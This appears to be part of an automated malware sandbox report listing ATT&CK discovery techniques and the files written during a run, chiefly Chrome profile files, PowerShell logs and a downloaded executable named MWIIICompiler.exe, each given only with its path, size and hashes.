Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 d75ea7a65ca22e0d735d3313ac1ef816a6e6d8877b14487b854ecb4c62835bce
MD5 f54df04744a281cf07f13bfec43166f9
SHA1 432f4f7f14abc5d6f201b86ffeda94b31f9ff2ee
SHA512 4e5c2ab222ee9a1448047acdcccac065aa5cd9137dc0645a8d2b17ad3f4dc51565c8b1666f0b052752e6324e27b00d8113e6635e18a35045b8ae7041f654a49e
TLSH
T1EFE02BE9C961DC7714FD0B19B0141742E765139B2B80C94F7A3C851C8FB56364B85C2C
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 b0489c770b3e67893fbe817808bc00a9d92d7f1d3e333a2de5dafc7fd8567e77
MD5 38dca037fe79faa4e0c24d7a83373fa0
SHA1 846b746019fac198eb17f3525c51a10cdacd713b
SHA512 5a972fb7efe0dbb6320bf956dac88e7d8be251a4f13e804f26d00f52011087ec397939a428e534ed8c3caeb95e32fbf9020d01fa419b5eaee18295b3b7067c25
TLSH
T14961AEF7C3D48A6DC41566F4AB217E1FCE3E0A14432C3C6688D4AE5B53E2872D20179E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 513B
SHA256 0db2895ca48aa465af6461f8924b8d188c620cbc3326b80476f503ee266ae9b8
MD5 9611e680d44e792ee0c2f29be42e8b8a
SHA1 e06950e7a1cfc2e7661c55515e7cd5bdd8a1c1fc
SHA512 0472b61070a3375000f33da560e976613f6834822c7d62b16498248ba20bf8d8bd80faf7782c4ff6e6e8a8874b09b86eb621446589307dd489035a4b059ab0c3
TLSH
T12CF05977A27E7467107985AF1E00BC4AAD76A43402D29CE4CEAB812DE0C94E71B12493
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 06c8a1adb38ed6ee0456df9602682ecd9193cc67d976bea55e6a71472915d9bd
MD5 2edeb1b085e0a56bf9680e7458647a08
SHA1 7371fd0343a9c1f5de0dd0a38764726edc5e2b7c
SHA512 c32c0f2750ab97a24e3ae1d9a64974cf46c25992fa08b5a18337fec5739eeb41f27e9bfe6c1b149f23b2ae1de9e78e4785a75d406cd7444b9b84579bb45a1334
SSDEEP 192:5RCPy7YXhUv70pAPRp2dj9+Hsb+WNnnPnQZQ2MjNX0FW/JXMeyUX8bjVyIsnAUg8:5RCPHQgUX68wPnT2uNkAVsJ8
TLSH
T13F42952EAE50693B6CDEC269FD657B53D3F6102225911E80EAFC8B2C06D75CC232701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 fc5d979d273bf060f88457604fce87c28d0698a73c75d813865175c073ed86ec
MD5 9fe93ff36c9a1d28589d8c6588a5d336
SHA1 7d636040164c36a497df59ede72c37b8e7ffd6d9
SHA512 6cce9e3e08436e4a6ffab4211307bd90cf7f50fd0f47a4c62ab08396129866356f88877e201814818fcf4f3e492114386857f8073743d174d59e2976dd33690e
SSDEEP 192:5R5my7YXUUv70pAPRp2dj9+Hsb+WNnZWeCZQ2MjNX0FW/JXMeyUX8bBVyIsnAUge:5R5miQgUX68wgeV2uNkAVsDe
TLSH
T1D042A52EAA50697B6CDED269F9657B53D3F6102225D11E80EAFC8B2C06D75CC332701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 9ffe0ec76544424f6a98ee73ef31969308d1bcefb58b1e29f812d3a0df6504c0
MD5 f612baeb86917c988ba5628f2b910c5f
SHA1 62d60253ce22a3e23a9b8040171517c41840737e
SHA512 b85487915fa1b2676265a3dd87c0dd75fd9438662c543921ea2f4700b1c81483c9376d32269b40bf3683f1a8ac68fc28b963230b5f6d9b56b2e3cd5263a3c3a8
SSDEEP 192:RRCPy7YXnUv70pAPRp2dj9+Hsb+WNnZ+07ZQ2MjNX0FW/JXMeyUX8bjVyIsnAUg8:RRCPJQgUX68wY0a2uNkAVsJ8
TLSH
T1B042A72EAE50693B6CDEC269FD657B53D3F6102225D51E80EAFC8A2C06D75CC232701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 1d0b445a3715425f0053993cfa8ba47c469c6a5541cdba0da4f45ff64fe470bc
MD5 939b284d3b17d4ab96b34663082ae013
SHA1 bccc55545f382d1d264e080f23343634adba0236
SHA512 bd5dc8605099c8fdc760d186a95d80a1a95272c9fcd54ac85d69ecaf2a774bc65e88e91e4d9db7551e442438b15cd3da8d4e55f3587f0231acbe379766007a46
SSDEEP 192:5RCmy7YXUUv70pAPRp2dj9+Hsb+WNnZWeCZQ2MjNX0FW/JXMeyUX8bBVyIsnAUge:5RCmiQgUX68wgeV2uNkAVsDe
TLSH
T1F742A52EAA50697B6CDED269F9657B53D3F6102225D11E80EAFC8B2C06D75CC332701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 9a63a02af86b793bc7723ea8579017000fbde21723150ca89cdaa0102d54150d
MD5 3db4d2ed90c53237037f403d9b6c10cf
SHA1 91febd0c861f52fac9b9c081f7e738838423da4a
SHA512 20a5acab3273b075187518ff1d84bdfb24fb19e0881b09c9805647d3b805dc5e2037a9ee22124705cac465e1ac8b91972117ed00cd2d49a563818ec658fd5de0
SSDEEP 384:W4jyR7KxkXqKf/pUZNCgVLH2Hfgsl/97pLuLcSjIpXODyJ+ErU3MrHGRxVJZU:WMyR7KxkXqKf/pUZNCgVLH2HfgsR97p9
TLSH
T183720A676C488E7B0F98CACCD8267B4FADF5024B65E9886453FA582903D5BCF11091FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 7cddb1647c4ed3a8a0322a1b3e0aa85ba2aafef04a10d2e68ebb4d1cf0538854
MD5 f3a3799f0622c202b39fd96bc3a43f9d
SHA1 9a39465228286fdcbde36715a2bfd631ed39228c
SHA512 e320ee83a793f1e168c536daec2c0e41153e91b38cfb013500b5a2e3b2b3ef0efd0d6902858d7adfcee43f54e4053899be5c72b5e14335915ae0648bcac33728
TLSH
T18BB0129084035581C80703F42296148C751C9F219A0B170243E0E92288251A0C818052
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe592ff0.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe592ff0.TMP
Size 96B
SHA256 c3cb5281fcfbc6b8001077112e12ea2a8f43eaa88d08e4b95eca7f19403d96b9
MD5 e8e0a2defdd7dc49bd5a4b428d2378ba
SHA1 60361dcc02ce6359a72fb2b5fbee64f40096ac52
SHA512 61f7da8a4c2169932ebb253323fdce171ebc1f79e6fccc1bbaf17a226024db6478949b7e5f696dd4812df25c985df86c1d28d919813ab0b698107d025da40e2a
TLSH
T1EEB02222E0032223C00283B028C380C83030CF30CE03020283E00E23EC322A0C0300E0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 236KB
SHA256 afca6230cf1e3ff6ba024a52222bf56fe516374bd3a6659ac1b0662bf397b194
MD5 a7d1ab4d5d832dba0173159458ca1a73
SHA1 e818e4947e8b377dca88dbfa5a584cf9c09bbe10
SHA512 3c4a5482f23d46cb371852a3fdc444becaa16bf9d29b48afb1b0a638efea426116882e348b7954f36347bff4d37b9ebf43a88305d89759b371b77ccaf96109a4
SSDEEP 3072:2jX8V5i0VHn6kAzjNKap9z6I8a4gmbIEXgOyoqfd7NtZL8cHQRZEQ6Sps2:2g/5nAH0aLFPubtQ8qZ/ZLW3Ex2
TLSH
T1C9342272AF923FA34A96CFA439071E1273F414A9D530D147ADE87EEB2D879212583C18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 2af3493b73bad523f60ef61d273902b9a0145ae9d023fcf6b2fb41d6f1632d27
MD5 ffa0240b9f7b816e61d578ddb4aa48f4
SHA1 b5b195c484c3f4456435d29cd081aaf8956d7c6f
SHA512 3f360c21051ff62aaa8f2d9abb1438c4e90ae3f8f174290a3abc8db4f02cbc97a0611ff3865bb2cd9e0a93cbff6783ecef5b5d460f66df833f66602da4ca2559
SSDEEP 1536:bGLyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjY:Sqfd7NtZL8cHQRZEQ6Sps3
TLSH
T17FC30237ABC21F339D92CF64B9530FDA67B644A99030D301AAAD37FB7C93591684249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 b9df3329ba9ffd5f1bcd2fd4deae028af4843b107c329622e65e63e1f0c9a265
MD5 2fc978cccfc26e5552c35a7e2e43253a
SHA1 f44f5f986aec69de0d7a65546e429fd97e9eba9b
SHA512 f5367ff5680a88196ea55acc3bcc5344e8feed8cb20bea073e111a0e4fba9359fd2e15f83324e863ddf5676225f02eae49189f67883bfb9659e4e351e26eb8bd
SSDEEP 3072:MdX8V5i0VHn6kAzjNKap9z6I8a4gmbIEXgOyoqfd7NtZL8cHQRZEQ6Sps2:l/5nAH0aLFPubtQ8qZ/ZLW3Ex2
TLSH
T18D341272AB926FA74A95CBA839171E5373F414A4D030D143AEE97EFB2D83D612183C1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 76f5cd87a5b5bcf995c9fa507703fc669a1819051dbea99e3cb8b024d73fc498
MD5 e1be0757d4dce567399b9a48ffe2c529
SHA1 3f9c2788635ebbd8692e030774977198ee88f8ec
SHA512 a824f561f564089b24df19c85b34e48e6ba36610b711e77c7d10b0f0e35f7455962de5a00ff17a12fcefa7e8fd32ab4d7070735d82607d846ac57d83bfbbfefe
SSDEEP 3072:PdX8V5i0VHn6kAzjNKap9z6I8a4gmbIEXgOyoqfd7NtZL8cHQRZEQ6Sps2:a/5nAH0aLFPubtQ8qZ/ZLW3Ex2
TLSH
T118341272AB926FA74A95CBA839171E5373F514A4D030D143AEE97EFB2D83D612183C1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 70b931b820bdee170fe4bcb589abdb41098237b04bae28a890938fa00183c0d8
MD5 1b9bfcc78acaec74ee370da9814653c9
SHA1 20aa610f20bce8c5292c9960b77751b03dc9c7d5
SHA512 24a1504db732b7b9562abec52b0dde4086ca955fa6a6d9ab428adec40aeab862f2236d477f27520da4069bbe8c76ff1df94cd955e64d3dd81eed83851e63ffbe
SSDEEP 3072:QdX8V5i0VHn6kAzjNKap9z6I8a4gmbIEXgOyoqfd7NtZL8cHQRZEQ6Sps2:J/5nAH0aLFPubtQ8qZ/ZLW3Ex2
TLSH
T105341272AB926FA74A95CBA839171E5373F414A4D030D143AEE97EFB2D83D612583C1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 236KB
SHA256 16c99c348c8c2befa1f9a63abd68797a1dd17a7739eab088c830c6071e4717fb
MD5 3b36380460026faaad3838e1a1bc419d
SHA1 bfe1010c3104596213e694ab21c4f477020f3746
SHA512 c52681541f0283180adbadae42d28fd18c2ecd0aa25a9e025bb2dcf1eece381010cb27931a38da613dcf22c7d9c0e5c21f5afc826fcd918b6083a333ac3e0293
SSDEEP 3072:WcX8V5i0VHn6kAzjNKap9z6I8a4gmbIEXgOyoqfd7NtZL8cHQRZEQ6Sps2:WD/5nAH0aLFPubtQ8qZ/ZLW3Ex2
TLSH
T112341272AF923FA34A96CFA439171E1273F414A9D530D147ADE87EEB2D879212483C5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
Size 264KB
SHA256 4774c93c56498d0467954c24357d75ab32a40f970d99f8199fd2efdfd5233ff3
MD5 4c32a2314cf96cc8ffaeb57ad5c67893
SHA1 a54a7e4226c54d0bdaf5a888bb9e5542642d5dca
SHA512 c7448d678abd07c3c2f9aad6dabe21c718612dd1d1ef8e55f92a70583b44472b01e58584e75c24781d3f7bcf868ec84f8f00db9151e9ccc27dac8edae9501eab
SSDEEP 3:MsEllllkEthXllkl2zE/l9t/:/M/xT02z+1
TLSH
T1294404057FC10C57C500D1304075C3513770D41007135F43377104335CD57D00C00010
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c4fd5b98356dbde84399dccae3528ff07c78622421ce1ce0da68c9a73b178af1
MD5 b981226a2b102dec03ece61670ce77b8
SHA1 8e8ab49f86edac70968941081fb94c5cec56a317
SHA512 42bec43b11d6bb25940a0cb41948b0ff128c22bc5a16ebfbeb7303b8c471e2f39e73880759d2018b6cbcbc7104ac5fa31ca9319ed787e181dca39f926a5c4df5
TLSH
T18821A837B3DC8921CC86163B009D9C1072B283C7819ECF9F6FC4D604A07F588CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bed79e2b24c22a37d83804c885039856f951f53209b88fe91b44ae8c65323b32
MD5 0399458c5e4eb0016d23b122bb8f5b6c
SHA1 2e1fcf547ef4c539845df16b9b9a1ea96da08bea
SHA512 e1e8a9d0d63549743b9446e46c5493f1675421b594d83d282ec339c434fdedaa817de874ee2edae4051acd05a1315897958c914975324e6a3b13536ff5380b7d
TLSH
T18221A837B3DC8921CC86123A009D9C1072B283C7819ECF9F6FC0D614A07F5C9CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 291a53a8822be2c1b654a400ccd6fbbbf90712d4eb2078ccd2d10824d4de4e2b
MD5 b8a507ea87f4db23962b175b90889f86
SHA1 d7957c02ed987bbf866c98e4491a926b5453c58d
SHA512 23c6774e1c2bb07e9eb814b60b040ebaea933bc664b9eebfa741495e89a8568ff86653b4efa58595fa94f7aff0216d132db96a871ca78600fea3e5c08b9d2bea
TLSH
T10E21A837B3DC8921CC86163A009D9C1072B683C7819EDF9F6FC0D604A07F588CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_yel4y4ml.2up.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yel4y4ml.2up.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MWIIICompiler.exe.crdownload

Path C:\Users\Admin\Downloads\MWIIICompiler.exe.crdownload
Size 4.4MB
SHA256 80ad1e054c5bc5711de43b90a80e747474a07067b468a61df4f9c31a5a1beafc
MD5 ef0d2f626e3f925768b99a1fbcb54ef2
SHA1 016c6126a2b199207d4da55597c90431c6a0bc44
SHA512 af3f407e8812aab0a71e7a5af2e28374ffec4108cfc72f86520b7e2f3a0914e7102333fc2395c1716d2ff7a7cdb4115b9be9228d39057b3fcc0fee988ecb8ecb
SSDEEP 49152:1sOqCrv2CxQ0RB7/EZkhlCnJ0RIgHTlovqFWl+m7d10pniZRJRbiXd9fuRUgFtl6:WZNNiulx7zh/rE7jIKb
TLSH
T127268E1B739801E8E177C17ECADBDF17E67274081751A6CB06D046991F63EE80EBAB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

matchstats.gscc

Path C:\Users\Admin\Downloads\matchstats.gscc
Size 50KB
SHA256 2c5db8f5bfdfc1f7c99de047127aa3fe764bf0bdb904772610028692252d8f85
MD5 b330bc35a26d7fc4ac1154b1a6d0beb7
SHA1 21fc0da2bcb900c24b686767d06e92870be0bff6
SHA512 50d497f46b2b4f0f83710c59fa4a32c440695ffa7875a23a9b3a3cc5f9ace70c01965f042aa7dc393a3e4aabeaff582447c3639ac7dde0b2f221f2e995f144e1
SSDEEP 1536:LVYu5MHqtQnWtZQvDTOu5MHqtQ7OxE/iFITGp83adAr+du5MHqBiu5MH0u5Mzu5i:Va25qDDF3d5koPy
TLSH
T1C63372CAE3233079E282E1FDFCFA170772D4D22D0F612E711B7D189A2C5DA57A1A1256
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1124-112-0x000001E6BAC50000-0x000001E6BAC72000-memory.dmp

Download